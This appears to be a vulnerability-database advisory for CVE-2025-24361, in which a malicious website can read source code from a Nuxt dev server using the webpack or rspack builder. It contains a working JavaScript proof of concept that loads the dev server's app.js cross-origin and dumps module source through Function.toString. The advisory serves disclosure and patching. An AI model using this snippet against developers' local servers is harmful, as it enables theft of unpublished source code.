NetSight
medium5.3

CVE-2025-24361

Opening a malicious website while running a Nuxt dev server could allow read-only access to code

Impact

### Summary Source code may be stolen during dev when using webpack / rspack builder and you open a malicious web site. ### Details Because the request for classic script by a script tag is not subject to same origin policy, an attacker can inject `<script src="http://localhost:3000/_nuxt/app.js">` in their site and run the script. By using `Function::toString` against the values in `window.webpackChunknuxt_app`, the attacker can get the source code. ### PoC 1. Create a nuxt project with webpack / rspack builder. 1. Run `npm run dev` 1. Open `http://localhost:3000` 1. Run the script below in a web site that has a different origin. 1. You can see the source code output in the document and the devtools console. ```js const script = document.createElement('script') script.src = 'http://localhost:3000/_nuxt/app.js' script.addEventListener('load', () => { for (const page in window.webpackChunknuxt_app) { const moduleList = window.webpackChunknuxt_app[page][1] console.log(moduleList) for (const key in moduleList) { const p = document.createElement('p') const title = document.createElement('strong') title.textContent = key const code = document.createElement('code') code.textContent = moduleList[key].toString() p.append(title, ':', document.createElement('br'), code) document.body.appendChild(p) } } }) document.head.appendChild(script) ``` ![image](https://github.com/user-attachments/assets/201e39b7-da5c-4359-867f-96c9adfd3c85) It contains the compiled source code and also the source map (but it seems the sourcemap contains transformed content in the `sourcesContent` field). ### Impact Users using webpack / rspack builder may get the source code stolen by malicious websites.

Affected packages

EcosystemPackageAffectedFixed in
npm@nuxt/webpack-builder>= 3.0.0, < 3.15.33.15.3
npm@nuxt/rspack-builder>= 3.12.2, < 3.15.33.15.3

Affected products

ProductAffected versions
Webpack Builder Or Version 3.12.2
through 3.152

Versions were read from the advisory text. No structured product data has been published for this record yet.

Weakness classification

References